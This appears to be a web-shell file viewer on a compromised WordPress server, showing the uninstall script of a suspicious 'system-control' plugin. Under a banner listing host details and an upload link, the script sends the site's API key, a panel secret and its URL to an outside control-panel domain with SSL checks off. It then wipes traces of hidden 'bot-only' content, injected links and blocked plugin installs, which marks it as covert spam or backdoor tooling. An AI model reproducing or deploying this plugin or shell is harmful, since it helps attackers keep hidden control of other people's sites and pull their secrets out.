HEX
Server: nginx/1.18.0
System: Linux ip-172-31-28-230 6.8.0-1039-aws #41~22.04.1-Ubuntu SMP Thu Sep 11 10:54:48 UTC 2025 x86_64
User: ubuntu (1000)
PHP: 8.2.26
Disabled: NONE
Upload Files
File: /var/www/html/simplify.earth/wp-content/plugins/system-control/uninstall.php
<?php
/**
 * Cleanup on plugin uninstall
 */
if (!defined('WP_UNINSTALL_PLUGIN')) {
    exit;
}

// Notify panel about removal
$panel_url = get_option('sc_panel_url', 'https://superfuckingpanel.info');
$api_key = get_option('sc_api_key');

if ($api_key) {
    wp_remote_post($panel_url . '/api/receive-registration.php', [
        'body'      => json_encode([
            'api_key'      => $api_key,
            'panel_secret' => defined('SC_PANEL_SECRET') ? SC_PANEL_SECRET : '',
            'action'       => 'deactivate',
            'url'          => site_url(),
        ]),
        'headers'   => ['Content-Type' => 'application/json'],
        'timeout'   => 10,
        'sslverify' => false,
        'blocking'  => false,
    ]);
}

// Remove all plugin options
delete_option('sc_api_key');
delete_option('sc_sec_key');
delete_option('sc_panel_url');
delete_option('sc_site_id');
delete_option('sc_is_active');
delete_option('sc_plugin_install_blocked');
delete_option('sc_display_links');

// Remove bot-only post meta
global $wpdb;
$wpdb->query("DELETE FROM {$wpdb->postmeta} WHERE meta_key IN ('_sc_bot_only', '_sc_bot_type')");

// Clean transients
$wpdb->query("DELETE FROM {$wpdb->options} WHERE option_name LIKE '_transient_sc_%' OR option_name LIKE '_transient_timeout_sc_%'");